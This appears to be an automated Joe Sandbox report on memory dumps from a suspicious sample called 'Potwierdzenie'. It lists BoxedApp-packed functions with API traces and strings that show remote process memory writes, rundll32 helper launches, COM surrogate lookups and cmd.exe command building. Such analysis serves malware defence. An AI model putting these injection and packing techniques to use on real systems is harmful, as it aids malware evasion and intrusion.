Software\Microsoft\Windows\CurrentVersion\SideBySide\Winners\, xrefs: 0BCB9642, 0BCB9A9A
/microsoftNs:assembly/microsoftNs:file, xrefs: 0BCB9292
cat, xrefs: 0BCB923C, 0BCB9A08, 0BCB9A29

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: FullInitializeNamePathmemcpy
String ID: .cat$.manifest$/microsoftNs:assembly/microsoftNs:file$Software\Microsoft\Windows\CurrentVersion\SideBySide\Winners\$\winsxs\$\winsxs\manifests\$cat$name
API String ID: 307205034-2411256317
Opcode ID: e6f5cd746eacf9c61bd906f96f339f186b1c4be4e436a5a92be3a2fc01a249f9
Instruction ID: 23372b09716c361e2a0071189138c7e243cff93ecf16ef67a480890bb7aa1b07
Opcode Fuzzy Hash: e6f5cd746eacf9c61bd906f96f339f186b1c4be4e436a5a92be3a2fc01a249f9
Instruction Fuzzy Hash: 09A24E71E10219AFDB20DFE4CC85FEEB7B9AF04704F4444A9E605A7191EB70EA49CB61

Function 0BC06730 Relevance: 90.1, APIs: 36, Strings: 15, Instructions: 851fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0BCC0E20: GetLastError.KERNEL32(00000000,0BBF7CEB,?,00000000,0BBF5C6B), ref: 0BCC0E23

GetLastError.KERNEL32 ref: 0BC06824
wsprintfW.USER32 ref: 0BC068BB
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,000000B0,00000000), ref: 0BC068D2
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,000000B0), ref: 0BC06962
GetLastError.KERNEL32 ref: 0BC06976

Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F5EE
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F604
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB510,00000000,?,?), ref: 0BC6F651
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F667
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCD6328,00000000,?,?), ref: 0BC6F6BB
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F6D1

Part of subcall function 0BC72C00: wsprintfA.USER32 ref: 0BC72C1B

GetCurrentProcess.KERNEL32(?,00000008,00000040,00000000,00000000), ref: 0BC06A02
GetCurrentProcess.KERNEL32(00000000), ref: 0BC06A09
DuplicateHandle.KERNEL32(00000000), ref: 0BC06A10
GetLastError.KERNEL32 ref: 0BC06A22
GetLastError.KERNEL32 ref: 0BC068E9

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

UnmapViewOfFile.KERNEL32(00000000), ref: 0BC0714B
CloseHandle.KERNEL32(00000000), ref: 0BC071C3
CloseHandle.KERNEL32(?), ref: 0BC071CA
CloseHandle.KERNEL32(?), ref: 0BC071F3

Part of subcall function 0BCC0E50: GetLastError.KERNEL32(?,0BC0DE0D,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0BCC0E53

Strings

: ResumeThread() failed, last error = , xrefs: 0BC06FDF
bx_createprocesswithtokenw_, xrefs: 0BC068AD
: WriteProcessMemory() failed, last error = , xrefs: 0BC06C21
D, xrefs: 0BC067B8
core, xrefs: 0BC06787, 0BC0684E, 0BC06913, 0BC069A4, 0BC06A50, 0BC07111
MapViewOfFile() failed, last error: , xrefs: 0BC0699A
: AllocStringInRemoteProcessW() failed, last error = , xrefs: 0BC06AFE
%s%d, xrefs: 0BC068B2
: Can't create process of rundll32.exe, last error = , xrefs: 0BC06844
CreateFileMappingW() failed, last error: , xrefs: 0BC06909
: DuplicateHandle() failed to pass handle to rundll32.exe, last error = , xrefs: 0BC06A46
: SafeWaitForSingleObject() returns error: , xrefs: 0BC07107
BoxedApp::CBoxedAppCore::CreateProcessWithTokenW_Common, xrefs: 0BC06782, 0BC06849, 0BC0690E, 0BC0699F, 0BC06A4B, 0BC0710C
BuildRunDll32HelperCmdLine() failed, xrefs: 0BC0677D
: VirtualAllocEx() failed, last error = , xrefs: 0BC06BD5

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: wsprintf$ErrorLastmemcpy$Handle$CloseFile$CurrentProcessView$CreateDuplicateLocalMappingTimeUnmap
String ID: %s%d$: AllocStringInRemoteProcessW() failed, last error = $: Can't create process of rundll32.exe, last error = $: DuplicateHandle() failed to pass handle to rundll32.exe, last error = $: ResumeThread() failed, last error = $: SafeWaitForSingleObject() returns error: $: VirtualAllocEx() failed, last error = $: WriteProcessMemory() failed, last error = $BoxedApp::CBoxedAppCore::CreateProcessWithTokenW_Common$BuildRunDll32HelperCmdLine() failed$CreateFileMappingW() failed, last error: $D$MapViewOfFile() failed, last error: $bx_createprocesswithtokenw_$core
API String ID: 4027946329-3687116712
Opcode ID: 3f51bf6573678953ddeffe499b90bcc999053d4113ad912a23e4b6f63dc3b9bc
Instruction ID: 508946b49abbc36b1d80d3a4a08f63169df583e3c19b4533a66b226bc736b6d8
Opcode Fuzzy Hash: 3f51bf6573678953ddeffe499b90bcc999053d4113ad912a23e4b6f63dc3b9bc
Instruction Fuzzy Hash: 18629B70A603069FDF18EFB4CC85BAE77B5AF14204F044579E916AB281EF30EA15DB60

Function 0BC05BB0 Relevance: 86.6, APIs: 34, Strings: 15, Instructions: 896fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0BCC0E20: GetLastError.KERNEL32(00000000,0BBF7CEB,?,00000000,0BBF5C6B), ref: 0BCC0E23

GetLastError.KERNEL32 ref: 0BC05CA9
wsprintfW.USER32 ref: 0BC05D40
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,000000C0,00000000), ref: 0BC05D57
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,000000C0), ref: 0BC05DE7
GetLastError.KERNEL32 ref: 0BC05DFB

Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F5EE
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F604
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB510,00000000,?,?), ref: 0BC6F651
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F667
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCD6328,00000000,?,?), ref: 0BC6F6BB
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F6D1

Part of subcall function 0BC72C00: wsprintfA.USER32 ref: 0BC72C1B

GetCurrentProcess.KERNEL32(?,00000008,00000040,00000000,00000000), ref: 0BC05E8D
GetCurrentProcess.KERNEL32(00000000), ref: 0BC05E90
DuplicateHandle.KERNEL32(00000000), ref: 0BC05E93
GetLastError.KERNEL32 ref: 0BC05EA5
GetLastError.KERNEL32 ref: 0BC05D6E

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

UnmapViewOfFile.KERNEL32(00000000), ref: 0BC0665E
CloseHandle.KERNEL32(00000000), ref: 0BC066D6
CloseHandle.KERNEL32(?), ref: 0BC066DD
CloseHandle.KERNEL32(?), ref: 0BC06706

Part of subcall function 0BCC0E50: GetLastError.KERNEL32(?,0BC0DE0D,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0BCC0E53

Strings

D, xrefs: 0BC05C38
BoxedApp::CBoxedAppCore::CreateProcessWithLogonW_Common, xrefs: 0BC05C02, 0BC05CCE, 0BC05D93, 0BC05E24, 0BC05ECE, 0BC05F5D, 0BC0661F
: ResumeThread() failed, last error = , xrefs: 0BC064E9
: WriteProcessMemory() failed, last error = , xrefs: 0BC0612B
core, xrefs: 0BC05C07, 0BC05CD3, 0BC05D98, 0BC05E29, 0BC05ED3, 0BC05F62, 0BC06624
MapViewOfFile() failed, last error: , xrefs: 0BC05E1F
: AllocStringInRemoteProcessW() failed, last error = , xrefs: 0BC05F58
%s%d, xrefs: 0BC05D37
: Can't create process of rundll32.exe, last error = , xrefs: 0BC05CC9
CreateFileMappingW() failed, last error: , xrefs: 0BC05D8E
: DuplicateHandle() failed to pass handle to rundll32.exe, last error = , xrefs: 0BC05EC9
: SafeWaitForSingleObject() returns error: , xrefs: 0BC0661A
BuildRunDll32HelperCmdLine() failed, xrefs: 0BC05BFD
bx_createprocesswithlogonw_, xrefs: 0BC05D32
: VirtualAllocEx() failed, last error = , xrefs: 0BC060DF

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: wsprintf$ErrorLastmemcpy$Handle$CloseFile$CurrentProcessView$CreateDuplicateLocalMappingTimeUnmap
String ID: %s%d$: AllocStringInRemoteProcessW() failed, last error = $: Can't create process of rundll32.exe, last error = $: DuplicateHandle() failed to pass handle to rundll32.exe, last error = $: ResumeThread() failed, last error = $: SafeWaitForSingleObject() returns error: $: VirtualAllocEx() failed, last error = $: WriteProcessMemory() failed, last error = $BoxedApp::CBoxedAppCore::CreateProcessWithLogonW_Common$BuildRunDll32HelperCmdLine() failed$CreateFileMappingW() failed, last error: $D$MapViewOfFile() failed, last error: $bx_createprocesswithlogonw_$core
API String ID: 4027946329-4224106792
Opcode ID: 8dea257c73f27c119bd98bab9ac6e8b6002ddffbce65adb8ac9d022c65063593
Instruction ID: 73732ab97ef7709b1a3f78db3ffd8ea070e817533f2afe4d0e92a5fa1a1e0cf9
Opcode Fuzzy Hash: 8dea257c73f27c119bd98bab9ac6e8b6002ddffbce65adb8ac9d022c65063593
Instruction Fuzzy Hash: 6962BD70A613069FDF14EFB4CC85BAE77B5AF14204F044578E956AB291EF30EA15CB60

Function 0BC9E220 Relevance: 84.9, APIs: 38, Strings: 10, Instructions: 903
filesynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0BC9E256
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0BC9E273
wsprintfW.USER32 ref: 0BC9E2AC
CreateMutexW.KERNEL32(00000000,00000000,?), ref: 0BC9E2C0
wsprintfW.USER32 ref: 0BC9E301
CreateMutexW.KERNEL32(00000000,00000000,?), ref: 0BC9E315
OpenMutexW.KERNEL32(00100000,00000000,?), ref: 0BC9E348
wsprintfW.USER32 ref: 0BC9E3A2
CreateMutexW.KERNEL32(00000000,00000000,?), ref: 0BC9E3B6
OpenMutexW.KERNEL32(00100000,00000000,?), ref: 0BC9E3E9
wsprintfW.USER32 ref: 0BC9E457
CreateFileMappingW.KERNEL32(000000FF,0BCF78B8,00000004,00000000,00210CF0,?), ref: 0BC9E477
OpenFileMappingW.KERNEL32(00000006,00000000,?), ref: 0BC9E4A2
MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00210CF0), ref: 0BC9E4E4
GetCurrentProcessId.KERNEL32(?), ref: 0BC9E5BD
CreateFileMappingW.KERNEL32(000000FF,0BCF78B8,00000004,00000000,00100000,?), ref: 0BC9E5E7
OpenFileMappingW.KERNEL32(00000006,00000000,?), ref: 0BC9E612
MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00100000), ref: 0BC9E64E
wsprintfW.USER32 ref: 0BC9E694
OpenFileMappingW.KERNEL32(000F001F,00000000,?), ref: 0BC9E6AB
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,?), ref: 0BC9E6CC
GetCurrentProcessId.KERNEL32 ref: 0BC9E6ED

Part of subcall function 0BCBC630: VirtualProtect.KERNEL32(?,?,00000040,00000000,?,?,?,?,0BBFE6FD,?,?,00000005,?,0BBFF69B), ref: 0BCBC644
Part of subcall function 0BCBC630: VirtualProtect.KERNEL32(?,?,00000000,00000000), ref: 0BCBC660
Part of subcall function 0BCBC630: GetCurrentProcess.KERNEL32(?,?), ref: 0BCBC668
Part of subcall function 0BCBC630: FlushInstructionCache.KERNEL32(00000000), ref: 0BCBC66F

GetModuleHandleW.KERNEL32(bxsdk32.dll), ref: 0BC9E882
memcpy.NTDLL(?,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 0BC9E91B
memcpy.NTDLL(?,0BCCE4D4,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 0BC9E933
memcpy.NTDLL(?,?,?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9E997
memcpy.NTDLL(?,bxsdk64.dll,00000000,?,?,?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9E9AF
GetFileAttributesW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9E9EA

Part of subcall function 0BCC4420: GetModuleFileNameW.KERNEL32(?,00000000,00000001,00000000,0BBF0000,?,00000000), ref: 0BCC443F
Part of subcall function 0BCC4420: GetModuleFileNameW.KERNEL32(00000000,00000000,00000100), ref: 0BCC4491

Part of subcall function 0BCC4390: lstrlenW.KERNEL32(0BC46DAC,00000000,00000000,?,0BC46DAC,?,00000000), ref: 0BCC4399
Part of subcall function 0BCC4390: lstrcpyW.KERNEL32(00000000,0BC46DAC,?,0BC46DAC,?,00000000), ref: 0BCC43C6
Part of subcall function 0BCC4390: lstrlenW.KERNEL32(00000000,?,0BC46DAC,?,00000000), ref: 0BCC43CD

memcpy.NTDLL(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0BC9EA80
memcpy.NTDLL(?,0BCCE4D4,00000000,?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0BC9EA98
memcpy.NTDLL(?,?,?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EAFA
memcpy.NTDLL(?,bxsdk32.dll,00000000,?,?,?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EB12
GetFileAttributesW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EB48

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

memcpy.NTDLL(?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EBA1
memcpy.NTDLL(?,0BCCE4D4,00000000,?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EBB9
memcpy.NTDLL(?,?,?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EC27
memcpy.NTDLL(?,bxsdk64.dll,00000000,?,?,?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EC3F
GetFileAttributesW.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000), ref: 0BC9EC78

Part of subcall function 0BC179F0: memcpy.NTDLL(00000000,?,?), ref: 0BC17A39

Strings

boxedapp_process_list_mutex, xrefs: 0BC9E2F0
boxedapp_shared_mem, xrefs: 0BC9E665
bxsdk32.dll, xrefs: 0BC9E87D, 0BC9EABE, 0BC9EB0C
bxsdk64.dll, xrefs: 0BC9E959, 0BC9E9A9, 0BC9EBE2, 0BC9EC39
boxedapp_process_shared_mem_info, xrefs: 0BC9E5C4
boxedapp_shared_env_mutex, xrefs: 0BC9E29B
%s_%.8x, xrefs: 0BC9E68E
boxedapp_global_shared_mem, xrefs: 0BC9E391
%s_%.8x_%.8x, xrefs: 0BC9E2A6, 0BC9E2FB, 0BC9E39C, 0BC9E451
boxedapp_shared_env, xrefs: 0BC9E446

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$File$Open$CreateMappingMutexwsprintf$CurrentProcess$AttributesModuleView$NameProtectVirtuallstrlen$CacheFlushHandleInstructionThreadlstrcpy
String ID: %s_%.8x$%s_%.8x_%.8x$boxedapp_global_shared_mem$boxedapp_process_list_mutex$boxedapp_process_shared_mem_info$boxedapp_shared_env$boxedapp_shared_env_mutex$boxedapp_shared_mem$bxsdk32.dll$bxsdk64.dll
API String ID: 671631666-2879591448
Opcode ID: 414e09dbefe532be6e78684385728285a97045661cf13f2b1f582dd7a226e5de
Instruction ID: ba919fbed46f5a1b99c0c788a75f3236b58d4bb205e47ed6d5123f84f4720619
Opcode Fuzzy Hash: 414e09dbefe532be6e78684385728285a97045661cf13f2b1f582dd7a226e5de
Instruction Fuzzy Hash: FB728071911215AFDF14EFA4DC85FAE77B8EF14300F1441A9E919E7291DB30EA09CBA1

Function 0BC02D20 Relevance: 67.6, APIs: 28, Strings: 10, Instructions: 1058registrythreadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,AppId\,?,00000000,00000000,00000000,00000000), ref: 0BC02E31
RegOpenKeyExW.ADVAPI32(80000000,00000000,00000000,00000001,00000004,?,?,?,?,?,?,00000000,00000000), ref: 0BC02E5C
memcpy.NTDLL(?,00000004,?,?,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0BC02EF7
memcpy.NTDLL(?, -Embedding,00000000,?,00000004,?,?,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0BC02F0F
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,00000000,00000000), ref: 0BC02F67
memcpy.NTDLL(00000004,?,?,00000004,00000000,?,CLSID\,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0BC02FED
memcpy.NTDLL(00000004,\LocalServer32,00000000,00000004,?,?,00000004,00000000,?,CLSID\,00000000), ref: 0BC03005
memcpy.NTDLL(00000004,?,?,?,00000000,0BCCDAC8,?,?,CLSID\,00000000), ref: 0BC030C7
memcpy.NTDLL(00000004, -Embedding,00000000,00000004,?,?,?,00000000,0BCCDAC8,?,?,CLSID\,00000000), ref: 0BC030DF
RegCloseKey.ADVAPI32(00000000,?,CLSID\,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0BC03149
RegOpenKeyExW.ADVAPI32(80000000,00000000,00000000,00000001,?,?,CLSID\,00000000,?,CLSID\,00000000), ref: 0BC03194
RegOpenKeyExW.ADVAPI32(80000000,00000000,00000000,00000001,?,00000000,AppID,?,?,CLSID\,00000000,?,CLSID\,00000000), ref: 0BC0321C
RegCloseKey.ADVAPI32(00000000,?,CLSID\,00000000,?,CLSID\,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0BC0328C
RegCloseKey.ADVAPI32(00000000,?,CLSID\,00000000,?,CLSID\,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0BC032B3
GetCurrentThreadId.KERNEL32 ref: 0BC032CD
RegOpenKeyExW.ADVAPI32(80000000,00000000,00000000,00000001,?,00000002,00000001,00000002,?,CLSID\,00000000,?,CLSID\,00000000), ref: 0BC03389
RegOpenKeyExW.ADVAPI32(80000000,00000000,00000000,00000001,?,?,?,?,AppId\,AppID,?,?,CLSID\,00000000,?,CLSID\), ref: 0BC033F9
RegCloseKey.ADVAPI32(00000000,DllSurrogate,?,?,?,?,AppId\,AppID,?,?,CLSID\,00000000,?,CLSID\,00000000), ref: 0BC03437
RegCloseKey.ADVAPI32(00000000,DllSurrogate,?,?,?,?,AppId\,AppID,?,?,CLSID\,00000000,?,CLSID\,00000000), ref: 0BC03446
memcpy.NTDLL(?,?,?,00000000,00000000,?,?,?,?,AppId\,AppID,?,?,CLSID\,00000000), ref: 0BC034C4
memcpy.NTDLL(00000000,\dllhost.exe,00000000,?,?,?,00000000,00000000,?,?,?,?,AppId\,AppID,?), ref: 0BC034DA
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00000001,?,00000004,00000000,?,CLSID\,00000000), ref: 0BC03039

Part of subcall function 0BC179F0: memcpy.NTDLL(00000000,?,?), ref: 0BC17A39

GetCurrentThreadId.KERNEL32 ref: 0BC03829
GetCurrentThreadId.KERNEL32 ref: 0BC03951
TerminateProcess.KERNEL32(?,000000FF,?,?,?,00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0BC039A7

Part of subcall function 0BC0B300: GetCurrentThreadId.KERNEL32 ref: 0BC0B308

Part of subcall function 0BC093B0: GetCurrentThreadId.KERNEL32 ref: 0BC093B9

Part of subcall function 0BBFD090: memcpy.NTDLL(00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,0BC6F4B8,00000000,00000000,00000000), ref: 0BBFD136

Part of subcall function 0BBFEAA0: memcpy.NTDLL(00000000,00000000,00000000,00000001,00000000,?,00000001,00000000,?,?,0BC029BA,?,?,00000000,?,00000000), ref: 0BBFEAE6
Part of subcall function 0BBFEAA0: memcpy.NTDLL(00000000,0BCCEC0C,00000000,00000000,00000000,00000000,00000001,00000000,?,00000001,00000000,?,?,0BC029BA,?,?), ref: 0BBFEB00

Strings

\dllhost.exe, xrefs: 0BC03470, 0BC034D4
DllSurrogate, xrefs: 0BC0323E, 0BC0341F
D, xrefs: 0BC03886
" /Processid:, xrefs: 0BC03589, 0BC035E8
CLSID\, xrefs: 0BC02F83, 0BC03165, 0BC0334B
AppID, xrefs: 0BC031B7, 0BC033AF
LocalServer32, xrefs: 0BC02E7B
-Embedding, xrefs: 0BC02EB9, 0BC02F09, 0BC0308B, 0BC030D9
AppId\, xrefs: 0BC02DDA, 0BC02E28, 0BC031ED, 0BC033C4
\LocalServer32, xrefs: 0BC02FA7, 0BC02FFF

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$CloseOpen$CurrentThread$ProcessTerminate
String ID: -Embedding$" /Processid:$AppID$AppId\$CLSID\$D$DllSurrogate$LocalServer32$\LocalServer32$\dllhost.exe
API String ID: 264874757-3320090733
Opcode ID: 390274551f316bf199cd42ad90c34bc83a44cce0e7830617ffcca5d8ef417786
Instruction ID: e02d6630104d41b548663b27079c992d928c2169dfea95afc3a263aa2290eb3e
Opcode Fuzzy Hash: 390274551f316bf199cd42ad90c34bc83a44cce0e7830617ffcca5d8ef417786
Instruction Fuzzy Hash: 9D825071D2021AAFDF14EFA0CC41BEEB779BF58300F040569E916A7190DF30AA49CBA5

Function 0BBF6B40 Relevance: 66.0, APIs: 24, Strings: 13, Instructions: 1267COMMON

Download Yara Rule

APIs

Part of subcall function 0BCC0E20: GetLastError.KERNEL32(00000000,0BBF7CEB,?,00000000,0BBF5C6B), ref: 0BCC0E23

memcpy.NTDLL(00000000,?,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0BBF6D9F
memcpy.NTDLL(00000000,?,00000000), ref: 0BBF6FC4
memcpy.NTDLL(00000000,?,00000000), ref: 0BBF7047
memcpy.NTDLL(00000000,?,00000000), ref: 0BBF706B
memcpy.NTDLL(?,?,?,00000000,00000000), ref: 0BBF7128
memcpy.NTDLL(00000000, /c ",00000000,?,?,?,00000000,00000000), ref: 0BBF713E
memcpy.NTDLL(?,?,?,?,00000000,?,00000000), ref: 0BBF71F2
memcpy.NTDLL(00000000,000000FF,00000000,?,?,?,?,00000000,?,00000000), ref: 0BBF7206
memcpy.NTDLL(?,?,?,?,00000000,?,00000000,?,00000000), ref: 0BBF7298
memcpy.NTDLL(00000000,0BCCEC0C,00000000,?,?,?,?,00000000,?,00000000,?,00000000), ref: 0BBF72AE
memcpy.NTDLL(?,cmd.exe ,00000003,00000000,00000000,00000000,00000000,00000000), ref: 0BBF6D20

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC72C00: wsprintfA.USER32 ref: 0BC72C1B

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Strings

/c , xrefs: 0BBF738B, 0BBF73E2
Attempts count (, xrefs: 0BBF7C68
to run the process, xrefs: 0BBF6BA3
cmd.exe , xrefs: 0BBF6CC4, 0BBF6D18
